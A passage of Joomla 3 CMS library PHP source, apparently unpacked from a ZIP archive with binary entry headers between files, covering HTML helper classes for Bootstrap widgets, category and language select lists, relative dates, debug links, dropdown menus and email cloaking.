$script[] = 'on("shown.bs.tooltip", ' . $onShown .
')';
}
if ($onHide)
{
$script[] = 'on("hide.bs.tooltip", ' . $onHide .
')';
}
if ($onHidden)
{
$script[] = 'on("hidden.bs.tooltip", ' . $onHidden
. ')';
}
$initFunction = 'function initTooltips (event, container) { '
.
'container = container || document;' .
implode('.', $script) . ';' .
'}';
// Attach tooltips to document
JFactory::getDocument()
->addScriptDeclaration('jQuery(function($){ initTooltips();
$("body").on("subform-row-add", initTooltips); ' .
$initFunction . ' });');
// Set static array
static::$loaded[__METHOD__][$selector] = true;
}
return;
}
/**
* Loads js and css files needed by Bootstrap Tooltip Extended plugin
*
* @param boolean $extended If true, bootstrap-tooltip-extended.js and
.css files are loaded
*
* @return void
*
* @since 3.6
*
* @deprecated 4.0 No replacement, use Bootstrap tooltips.
*/
public static function tooltipExtended($extended = true)
{
if ($extended)
{
JHtml::_('script',
'jui/bootstrap-tooltip-extended.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet',
'jui/bootstrap-tooltip-extended.css', array('version'
=> 'auto', 'relative' => true));
}
}
/**
* Add javascript support for Bootstrap typeahead
*
* @param string $selector The selector for the typeahead element.
* @param array $params An array of options for the typeahead
element.
* Options for the tooltip can be:
* - source array, function The data
source to query against. May be an array of strings or a function.
* The
function is passed two arguments, the query value in the input field and
the
* process
callback. The function may be used synchronously by returning the data
* source
directly or asynchronously via the process callback's single argument.
* - items number The max
number of items to display in the dropdown.
* - minLength number The minimum
character length needed before triggering autocomplete suggestions
* - matcher function The method
used to determine if a query matches an item. Accepts a single argument,
* the item
against which to test the query. Access the current query with this.query.
* Return a
boolean true if query is a match.
* - sorter function Method used
to sort autocomplete results. Accepts a single argument items and has
* the scope
of the typeahead instance. Reference the current query with this.query.
* - updater function The method
used to return selected item. Accepts a single argument, the item and
* has the
scope of the typeahead instance.
* - highlighter function Method used
to highlight autocomplete results. Accepts a single argument item and
* has the
scope of the typeahead instance. Should return html.
*
* @return void
*
* @since 3.0
*
* @deprecated 4.0 Bootstrap 4.0 dropped this so will Joomla.
*/
public static function typeahead($selector = '.typeahead',
$params = array())
{
if (!isset(static::$loaded[__METHOD__][$selector]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['source'] = isset($params['source']) ?
$params['source'] : null;
$opt['items'] = isset($params['items']) ?
(int) $params['items'] : 8;
$opt['minLength'] = isset($params['minLength']) ?
(int) $params['minLength'] : 1;
$opt['matcher'] = isset($params['matcher']) ?
(string) $params['matcher'] : null;
$opt['sorter'] = isset($params['sorter']) ?
(string) $params['sorter'] : null;
$opt['updater'] = isset($params['updater']) ?
(string) $params['updater'] : null;
$opt['highlighter'] = isset($params['highlighter'])
? (int) $params['highlighter'] : null;
$options = JHtml::getJSObject($opt);
// Attach typehead to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode($selector) .
').typeahead(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$selector] = true;
}
return;
}
/**
* Add javascript support for Bootstrap accordians and insert the
accordian
*
* @param string $selector The ID selector for the tooltip.
* @param array $params An array of options for the tooltip.
* Options for the tooltip can be:
* - parent selector If selector then all
collapsible elements under the specified parent will be closed when this
* collapsible item is
shown. (similar to traditional accordion behavior)
* - toggle boolean Toggles the collapsible
element on invocation
* - active string Sets the active slide
during load
*
* - onShow function This event fires
immediately when the show instance method is called.
* - onShown function This event is fired
when a collapse element has been made visible to the user
* (will wait for css
transitions to complete).
* - onHide function This event is fired
immediately when the hide method has been called.
* - onHidden function This event is fired
when a collapse element has been hidden from the user
* (will wait for css
transitions to complete).
*
* @return string HTML for the accordian
*
* @since 3.0
*/
public static function startAccordion($selector = 'myAccordian',
$params = array())
{
if (!isset(static::$loaded[__METHOD__][$selector]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['parent'] = isset($params['parent']) ?
($params['parent'] == true ? '#' . $selector :
$params['parent']) : false;
$opt['toggle'] = isset($params['toggle']) ?
(boolean) $params['toggle'] : !($opt['parent'] ===
false || isset($params['active']));
$onShow = isset($params['onShow']) ? (string)
$params['onShow'] : null;
$onShown = isset($params['onShown']) ? (string)
$params['onShown'] : null;
$onHide = isset($params['onHide']) ? (string)
$params['onHide'] : null;
$onHidden = isset($params['onHidden']) ? (string)
$params['onHidden'] : null;
$options = JHtml::getJSObject($opt);
$opt['active'] = isset($params['active']) ? (string)
$params['active'] : '';
// Build the script.
$script = array();
$script[] = "jQuery(function($){";
$script[] = "\t$('#" . $selector .
"').collapse(" . $options . ")";
if ($onShow)
{
$script[] = "\t.on('show', " . $onShow .
")";
}
if ($onShown)
{
$script[] = "\t.on('shown', " . $onShown .
")";
}
if ($onHide)
{
$script[] = "\t.on('hideme', " . $onHide .
")";
}
if ($onHidden)
{
$script[] = "\t.on('hidden', " . $onHidden .
")";
}
$parents = array_key_exists(__METHOD__, static::$loaded) ?
array_filter(array_column(static::$loaded[__METHOD__], 'parent'))
: array();
if ($opt['parent'] && empty($parents))
{
$script[] = "
$(document).on('click.collapse.data-api',
'[data-toggle=collapse]', function (e) {
var \$this = $(this), href
var parent = \$this.attr('data-parent')
var \$parent = parent && $(parent)
if (\$parent)
\$parent.find('[data-toggle=collapse][data-parent=' + parent +
']').not(\$this).addClass('collapsed')
})";
}
$script[] = "});";
// Attach accordion to document
JFactory::getDocument()->addScriptDeclaration(implode("\n",
$script));
// Set static array
static::$loaded[__METHOD__][$selector] = $opt;
return '<div id="' . $selector . '"
class="accordion">';
}
}
/**
* Close the current accordion
*
* @return string HTML to close the accordian
*
* @since 3.0
*/
public static function endAccordion()
{
return '</div>';
}
/**
* Begins the display of a new accordion slide.
*
* @param string $selector Identifier of the accordion group.
* @param string $text Text to display.
* @param string $id Identifier of the slide.
* @param string $class Class of the accordion group.
*
* @return string HTML to add the slide
*
* @since 3.0
*/
public static function addSlide($selector, $text, $id, $class =
'')
{
$in = (static::$loaded[__CLASS__ .
'::startAccordion'][$selector]['active'] == $id) ?
' in' : '';
$collapsed = (static::$loaded[__CLASS__ .
'::startAccordion'][$selector]['active'] == $id) ?
'' : ' collapsed';
$parent = static::$loaded[__CLASS__ .
'::startAccordion'][$selector]['parent'] ?
' data-parent="' . static::$loaded[__CLASS__ .
'::startAccordion'][$selector]['parent'] .
'"' : '';
$class = (!empty($class)) ? ' ' . $class : '';
$html = '<div class="accordion-group' . $class .
'">'
. '<div class="accordion-heading">'
. '<strong><a href="#' . $id . '"
data-toggle="collapse"' . $parent . '
class="accordion-toggle' . $collapsed . '">'
. $text
. '</a></strong>'
. '</div>'
. '<div class="accordion-body collapse' . $in .
'" id="' . $id . '">'
. '<div class="accordion-inner">';
return $html;
}
/**
* Close the current slide
*
* @return string HTML to close the slide
*
* @since 3.0
*/
public static function endSlide()
{
return '</div></div></div>';
}
/**
* Creates a tab pane
*
* @param string $selector The pane identifier.
* @param array $params The parameters for the pane
*
* @return string
*
* @since 3.1
*/
public static function startTabSet($selector = 'myTab', $params
= array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['active'] = (isset($params['active'])
&& $params['active']) ? (string)
$params['active'] : '';
// Attach tabs to document
JFactory::getDocument()
->addScriptDeclaration(JLayoutHelper::render('libraries.cms.html.bootstrap.starttabsetscript',
array('selector' => $selector)));
// Set static array
static::$loaded[__METHOD__][$sig] = true;
static::$loaded[__METHOD__][$selector]['active'] =
$opt['active'];
}
return
JLayoutHelper::render('libraries.cms.html.bootstrap.starttabset',
array('selector' => $selector));
}
/**
* Close the current tab pane
*
* @return string HTML to close the pane
*
* @since 3.1
*/
public static function endTabSet()
{
return
JLayoutHelper::render('libraries.cms.html.bootstrap.endtabset');
}
/**
* Begins the display of a new tab content panel.
*
* @param string $selector Identifier of the panel.
* @param string $id The ID of the div element
* @param string $title The title text for the new UL tab
*
* @return string HTML to start a new panel
*
* @since 3.1
*/
public static function addTab($selector, $id, $title)
{
static $tabScriptLayout = null;
static $tabLayout = null;
$tabScriptLayout = $tabScriptLayout === null ? new
JLayoutFile('libraries.cms.html.bootstrap.addtabscript') :
$tabScriptLayout;
$tabLayout = $tabLayout === null ? new
JLayoutFile('libraries.cms.html.bootstrap.addtab') : $tabLayout;
$active =
(static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active']
== $id) ? ' active' : '';
// Inject tab into UL
JFactory::getDocument()
->addScriptDeclaration($tabScriptLayout->render(array('selector'
=> $selector, 'id' => $id, 'active' =>
$active, 'title' => $title)));
return $tabLayout->render(array('id' => $id,
'active' => $active));
}
/**
* Close the current tab content panel
*
* @return string HTML to close the pane
*
* @since 3.1
*/
public static function endTab()
{
return
JLayoutHelper::render('libraries.cms.html.bootstrap.endtab');
}
/**
* Creates a tab pane
*
* @param string $selector The pane identifier.
* @param array $params The parameters for the pane
*
* @return string
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.startTabSet')
instead.
*/
public static function startPane($selector = 'myTab', $params =
array())
{
$sig = md5(serialize(array($selector, $params)));
if
(!isset(static::$loaded['JHtmlBootstrap::startTabSet'][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['active'] = isset($params['active']) ? (string)
$params['active'] : '';
// Attach tab to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){
$(' . json_encode('#' . $selector . ' a') .
').click(function (e) {
e.preventDefault();
$(this).tab("show");
});
});'
);
// Set static array
static::$loaded['JHtmlBootstrap::startTabSet'][$sig] = true;
static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active']
= $opt['active'];
}
return '<div class="tab-content" id="' .
$selector . 'Content">';
}
/**
* Close the current tab pane
*
* @return string HTML to close the pane
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.endTabSet') instead.
*/
public static function endPane()
{
return '</div>';
}
/**
* Begins the display of a new tab content panel.
*
* @param string $selector Identifier of the panel.
* @param string $id The ID of the div element
*
* @return string HTML to start a new panel
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.addTab') instead.
*/
public static function addPanel($selector, $id)
{
$active =
(static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active']
== $id) ? ' active' : '';
return '<div id="' . $id . '"
class="tab-pane' . $active . '">';
}
/**
* Close the current tab content panel
*
* @return string HTML to close the pane
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.endTab') instead.
*/
public static function endPanel()
{
return '</div>';
}
/**
* Loads CSS files needed by Bootstrap
*
* @param boolean $includeMainCss If true, main bootstrap.css files
are loaded
* @param string $direction rtl or ltr direction. If empty, ltr
is assumed
* @param array $attribs Optional array of attributes to be
passed to JHtml::_('stylesheet')
*
* @return void
*
* @since 3.0
*/
public static function loadCss($includeMainCss = true, $direction =
'ltr', $attribs = array())
{
// Load Bootstrap main CSS
if ($includeMainCss)
{
JHtml::_('stylesheet', 'jui/bootstrap.min.css',
array('version' => 'auto', 'relative'
=> true), $attribs);
JHtml::_('stylesheet',
'jui/bootstrap-responsive.min.css', array('version'
=> 'auto', 'relative' => true), $attribs);
JHtml::_('stylesheet', 'jui/bootstrap-extended.css',
array('version' => 'auto', 'relative'
=> true), $attribs);
}
// Load Bootstrap RTL CSS
if ($direction === 'rtl')
{
JHtml::_('stylesheet', 'jui/bootstrap-rtl.css',
array('version' => 'auto', 'relative'
=> true), $attribs);
}
}
}
PK〈[�M�''html/category.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Utility class for categories
*
* @since 1.5
*/
abstract class JHtmlCategory
{
/**
* Cached array of the category items.
*
* @var array
* @since 1.5
*/
protected static $items = array();
/**
* Returns an array of categories for the given extension.
*
* @param string $extension The extension option e.g. com_something.
* @param array $config An array of configuration options. By
default, only
* published and unpublished categories are
returned.
*
* @return array
*
* @since 1.5
*/
public static function options($extension, $config =
array('filter.published' => array(0, 1)))
{
$hash = md5($extension . '.' . serialize($config));
if (!isset(static::$items[$hash]))
{
$config = (array) $config;
$db = JFactory::getDbo();
$user = JFactory::getUser();
$groups = implode(',', $user->getAuthorisedViewLevels());
$query = $db->getQuery(true)
->select('a.id, a.title, a.level, a.language')
->from('#__categories AS a')
->where('a.parent_id > 0');
// Filter on extension.
$query->where('extension = ' . $db->quote($extension));
// Filter on user access level
$query->where('a.access IN (' . $groups . ')');
// Filter on the published state
if (isset($config['filter.published']))
{
if (is_numeric($config['filter.published']))
{
$query->where('a.published = ' . (int)
$config['filter.published']);
}
elseif (is_array($config['filter.published']))
{
$config['filter.published'] =
ArrayHelper::toInteger($config['filter.published']);
$query->where('a.published IN (' . implode(',',
$config['filter.published']) . ')');
}
}
// Filter on the language
if (isset($config['filter.language']))
{
if (is_string($config['filter.language']))
{
$query->where('a.language = ' .
$db->quote($config['filter.language']));
}
elseif (is_array($config['filter.language']))
{
foreach ($config['filter.language'] as &$language)
{
$language = $db->quote($language);
}
$query->where('a.language IN (' . implode(',',
$config['filter.language']) . ')');
}
}
// Filter on the access
if (isset($config['filter.access']))
{
if (is_string($config['filter.access']))
{
$query->where('a.access = ' .
$db->quote($config['filter.access']));
}
elseif (is_array($config['filter.access']))
{
foreach ($config['filter.access'] as &$access)
{
$access = $db->quote($access);
}
$query->where('a.access IN (' . implode(',',
$config['filter.access']) . ')');
}
}
$query->order('a.lft');
$db->setQuery($query);
$items = $db->loadObjectList();
// Assemble the list options.
static::$items[$hash] = array();
foreach ($items as &$item)
{
$repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0;
$item->title = str_repeat('- ', $repeat) .
$item->title;
if ($item->language !== '*')
{
$item->title .= ' (' . $item->language .
')';
}
static::$items[$hash][] = JHtml::_('select.option',
$item->id, $item->title);
}
}
return static::$items[$hash];
}
/**
* Returns an array of categories for the given extension.
*
* @param string $extension The extension option.
* @param array $config An array of configuration options. By
default, only published and unpublished categories are returned.
*
* @return array Categories for the extension
*
* @since 1.6
*/
public static function categories($extension, $config =
array('filter.published' => array(0, 1)))
{
$hash = md5($extension . '.' . serialize($config));
if (!isset(static::$items[$hash]))
{
$config = (array) $config;
$user = JFactory::getUser();
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id, a.title, a.level, a.parent_id,
a.language')
->from('#__categories AS a')
->where('a.parent_id > 0');
// Filter on extension.
$query->where('extension = ' . $db->quote($extension));
// Filter on user level.
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
// Filter on the published state
if (isset($config['filter.published']))
{
if (is_numeric($config['filter.published']))
{
$query->where('a.published = ' . (int)
$config['filter.published']);
}
elseif (is_array($config['filter.published']))
{
$config['filter.published'] =
ArrayHelper::toInteger($config['filter.published']);
$query->where('a.published IN (' . implode(',',
$config['filter.published']) . ')');
}
}
$query->order('a.lft');
$db->setQuery($query);
$items = $db->loadObjectList();
// Assemble the list options.
static::$items[$hash] = array();
foreach ($items as &$item)
{
$repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0;
$item->title = str_repeat('- ', $repeat) .
$item->title;
if ($item->language !== '*')
{
$item->title .= ' (' . $item->language .
')';
}
static::$items[$hash][] = JHtml::_('select.option',
$item->id, $item->title);
}
// Special "Add to root" option:
static::$items[$hash][] = JHtml::_('select.option',
'1', JText::_('JLIB_HTML_ADD_TO_ROOT'));
}
return static::$items[$hash];
}
}
PK〈[lrw��html/content.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class to fire onContentPrepare for non-article based content.
*
* @since 1.5
*/
abstract class JHtmlContent
{
/**
* Fire onContentPrepare for content that isn't part of an article.
*
* @param string $text The content to be transformed.
* @param array $params The content params.
* @param string $context The context of the content to be
transformed.
*
* @return string The content after transformation.
*
* @since 1.5
*/
public static function prepare($text, $params = null, $context =
'text')
{
if ($params === null)
{
$params = new JObject;
}
$article = new stdClass;
$article->text = $text;
JPluginHelper::importPlugin('content');
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger('onContentPrepare', array($context,
&$article, &$params, 0));
return $article->text;
}
/**
* Returns an array of months.
*
* @param Registry $state The state object.
*
* @return array
*
* @since 3.9.0
*/
public static function months($state)
{
$model = JModelLegacy::getInstance('Articles',
'ContentModel', array('ignore_request' => true));
foreach ($state as $key => $value)
{
$model->setState($key, $value);
}
$model->setState('filter.category_id',
$state->get('category.id'));
$model->setState('list.start', 0);
$model->setState('list.limit', -1);
$model->setState('list.direction', 'asc');
$model->setState('list.filter', '');
$items = array();
foreach ($model->countItemsByMonth() as $item)
{
$date = new JDate($item->d);
$items[] = JHtml::_('select.option', $item->d,
$date->format('F Y') . ' [' . $item->c .
']');
}
return $items;
}
}
PK〈[*�}�''html/contentlanguage.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class working with content language select lists
*
* @since 1.6
*/
abstract class JHtmlContentLanguage
{
/**
* Cached array of the content language items.
*
* @var array
* @since 1.6
*/
protected static $items = null;
/**
* Get a list of the available content language items.
*
* @param boolean $all True to include All (*)
* @param boolean $translate True to translate All
*
* @return string
*
* @see JFormFieldContentLanguage
* @since 1.6
*/
public static function existing($all = false, $translate = false)
{
if (empty(static::$items))
{
// Get the database object and a new query object.
$db = JFactory::getDbo();
$query = $db->getQuery(true);
// Build the query.
$query->select('a.lang_code AS value, a.title AS text,
a.title_native')
->from('#__languages AS a')
->where('a.published >= 0')
->order('a.title');
// Set the query and load the options.
$db->setQuery($query);
static::$items = $db->loadObjectList();
}
if ($all)
{
$all_option = array(new JObject(array('value' =>
'*', 'text' => $translate ?
JText::alt('JALL', 'language') :
'JALL_LANGUAGE')));
return array_merge($all_option, static::$items);
}
else
{
return static::$items;
}
}
}
PK〈[�.$$
html/date.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Extended Utility class for handling date display.
*
* @since 2.5
*/
abstract class JHtmlDate
{
/**
* Function to convert a static time into a relative measurement
*
* @param string $date The date to convert
* @param string $unit The optional unit of measurement to return
* if the value of the diff is greater than one
* @param string $time An optional time to compare to, defaults to
now
* @param string $format An optional format for the JHtml::date output
*
* @return string The converted time string
*
* @since 2.5
*/
public static function relative($date, $unit = null, $time = null, $format
= null)
{
if ($time === null)
{
// Get now
$time = new JDate('now');
}
// Get the difference in seconds between now and the time
$diff = strtotime($time) - strtotime($date);
// Less than a minute
if ($diff < 60)
{
return JText::_('JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE');
}
// Round to minutes
$diff = round($diff / 60);
// 1 to 59 minutes
if ($diff < 60 || $unit === 'minute')
{
return JText::plural('JLIB_HTML_DATE_RELATIVE_MINUTES',
$diff);
}
// Round to hours
$diff = round($diff / 60);
// 1 to 23 hours
if ($diff < 24 || $unit === 'hour')
{
return JText::plural('JLIB_HTML_DATE_RELATIVE_HOURS', $diff);
}
// Round to days
$diff = round($diff / 24);
// 1 to 6 days
if ($diff < 7 || $unit === 'day')
{
return JText::plural('JLIB_HTML_DATE_RELATIVE_DAYS', $diff);
}
// Round to weeks
$diff = round($diff / 7);
// 1 to 4 weeks
if ($diff <= 4 || $unit === 'week')
{
return JText::plural('JLIB_HTML_DATE_RELATIVE_WEEKS', $diff);
}
// Over a month, return the absolute time
return JHtml::_('date', $date, $format);
}
}
PK〈[[u�c��html/debug.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Extended Utility class for render debug information.
*
* @since 3.7.0
*/
abstract class JHtmlDebug
{
/**
* xdebug.file_link_format from the php.ini.
*
* Make this property public to support test.
*
* @var string
*
* @since 3.7.0
*/
public static $xdebugLinkFormat;
/**
* Replaces the Joomla! root with "JROOT" to improve
readability.
* Formats a link with a special value xdebug.file_link_format
* from the php.ini file.
*
* @param string $file The full path to the file.
* @param string $line The line number.
*
* @return string
*
* @throws \InvalidArgumentException
*
* @since 3.7.0
*/
public static function xdebuglink($file, $line = '')
{
if (static::$xdebugLinkFormat === null)
{
static::$xdebugLinkFormat =
ini_get('xdebug.file_link_format');
}
$link = str_replace(JPATH_ROOT, 'JROOT', JPath::clean($file));
$link .= $line ? ':' . $line : '';
if (static::$xdebugLinkFormat)
{
$href = static::$xdebugLinkFormat;
$href = str_replace('%f', $file, $href);
$href = str_replace('%l', $line, $href);
$html = JHtml::_('link', $href, $link);
}
else
{
$html = $link;
}
return $html;
}
}
PK〈[�t-N)#)#html/dropdown.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML utility class for building a dropdown menu
*
* @since 3.0
*/
abstract class JHtmlDropdown
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* @var string HTML markup for the dropdown list
* @since 3.0
*/
protected static $dropDownList = null;
/**
* Method to inject needed script
*
* @return void
*
* @since 3.0
*/
public static function init()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Depends on Bootstrap
JHtml::_('bootstrap.framework');
JFactory::getDocument()->addScriptDeclaration("
(function($){
$(document).ready(function (){
$('.has-context')
.mouseenter(function (){
$('.btn-group',$(this)).show();
})
.mouseleave(function (){
$('.btn-group',$(this)).hide();
$('.btn-group',$(this)).removeClass('open');
});
contextAction =function (cbId, task)
{
$('input[name=\"cid[]\"]').removeAttr('checked');
$('#' +
cbId).attr('checked','checked');
Joomla.submitbutton(task);
}
});
})(jQuery);
"
);
// Set static array
static::$loaded[__METHOD__] = true;
return;
}
/**
* Method to start a new dropdown menu
*
* @return void
*
* @since 3.0
*/
public static function start()
{
// Only start once
if (isset(static::$loaded[__METHOD__]) &&
static::$loaded[__METHOD__] == true)
{
return;
}
$dropDownList = '<div class="btn-group"
style="margin-left:6px;display:none">
<a href="#" data-toggle="dropdown"
class="dropdown-toggle btn btn-mini">
<span class="caret"></span>
</a>
<ul class="dropdown-menu">';
static::$dropDownList = $dropDownList;
static::$loaded[__METHOD__] = true;
return;
}
/**
* Method to render current dropdown menu
*
* @return string HTML markup for the dropdown list
*
* @since 3.0
*/
public static function render()
{
$dropDownList = static::$dropDownList;
$dropDownList .= '</ul></div>';
static::$dropDownList = null;
static::$loaded['JHtmlDropdown::start'] = false;
return $dropDownList;
}
/**
* Append an edit item to the current dropdown menu
*
* @param integer $id Record ID
* @param string $prefix Task prefix
* @param string $customLink The custom link if dont use default
Joomla action format
*
* @return void
*
* @since 3.0
*/
public static function edit($id, $prefix = '', $customLink =
'')
{
static::start();
if (!$customLink)
{
$option =
JFactory::getApplication()->input->getCmd('option');
$link = 'index.php?option=' . $option;
}
else
{
$link = $customLink;
}
$link .= '&task=' . $prefix . 'edit&id=' .
$id;
$link = JRoute::_($link);
static::addCustomItem(JText::_('JACTION_EDIT'), $link);
return;
}
/**
* Append a publish item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function publish($checkboxId, $prefix = '')
{
$task = $prefix . 'publish';
static::addCustomItem(JText::_('JTOOLBAR_PUBLISH'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append an unpublish item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function unpublish($checkboxId, $prefix = '')
{
$task = $prefix . 'unpublish';
static::addCustomItem(JText::_('JTOOLBAR_UNPUBLISH'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append a featured item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function featured($checkboxId, $prefix = '')
{
$task = $prefix . 'featured';
static::addCustomItem(JText::_('JFEATURED'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append an unfeatured item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function unfeatured($checkboxId, $prefix = '')
{
$task = $prefix . 'unfeatured';
static::addCustomItem(JText::_('JUNFEATURED'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append an archive item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function archive($checkboxId, $prefix = '')
{
$task = $prefix . 'archive';
static::addCustomItem(JText::_('JTOOLBAR_ARCHIVE'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append an unarchive item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function unarchive($checkboxId, $prefix = '')
{
$task = $prefix . 'unpublish';
static::addCustomItem(JText::_('JTOOLBAR_UNARCHIVE'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append a trash item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function trash($checkboxId, $prefix = '')
{
$task = $prefix . 'trash';
static::addCustomItem(JText::_('JTOOLBAR_TRASH'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append an untrash item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function untrash($checkboxId, $prefix = '')
{
$task = $prefix . 'publish';
static::addCustomItem(JText::_('JTOOLBAR_UNTRASH'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append a checkin item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function checkin($checkboxId, $prefix = '')
{
$task = $prefix . 'checkin';
static::addCustomItem(JText::_('JTOOLBAR_CHECKIN'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Writes a divider between dropdown items
*
* @return void
*
* @since 3.0
*/
public static function divider()
{
static::$dropDownList .= '<li
class="divider"></li>';
return;
}
/**
* Append a custom item to current dropdown menu
*
* @param string $label The label of item
* @param string $link The link of item
* @param string $linkAttributes Custom link attributes
* @param string $className Class name of item
* @param boolean $ajaxLoad True if using ajax load when item
clicked
* @param string $jsCallBackFunc Javascript function name, called
when ajax load successfully
*
* @return void
*
* @since 3.0
*/
public static function addCustomItem($label, $link =
'javascript:void(0)', $linkAttributes = '', $className
= '', $ajaxLoad = false,
$jsCallBackFunc = null)
{
static::start();
if ($ajaxLoad)
{
$href = ' href = "javascript:void(0)"
onclick="loadAjax(\'' . $link . '\', \''
. $jsCallBackFunc . '\')"';
}
else
{
$href = ' href = "' . $link . '" ';
}
$dropDownList = static::$dropDownList;
$dropDownList .= '<li class="' . $className .
'"><a ' . $linkAttributes . $href . ' >';
$dropDownList .= $label;
$dropDownList .= '</a></li>';
static::$dropDownList = $dropDownList;
return;
}
}
PK〈[�cW��html/email.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for cloaking email addresses
*
* @since 1.5
*/
abstract class JHtmlEmail
{
/**
* Simple JavaScript email cloaker
*
* By default replaces an email with a mailto link with email cloaked
*
* @param string $mail The -mail address to cloak.
* @param boolean $mailto True if text and mailing address differ
* @param string $text Text for the link
* @param boolean $email True if text is an email address
*
* @return string The cloaked email.
*
* @since 1.5
*/
public static function cloak($mail, $mailto = true, $text = '',
$email = true)
{
// Handle IDN addresses: punycode for href but utf-8 for text displayed.
if ($mailto && (empty($text) || $email))
{
// Use dedicated $text whereas $mail is used as href and must be
punycoded.
$text = JStringPunycode::emailToUTF8($text ?: $mail);
}
elseif (!$mailto)
{
// In that case we don't use link - so convert $mail back to utf-8.
$mail = JStringPunycode::emailToUTF8($mail);
}
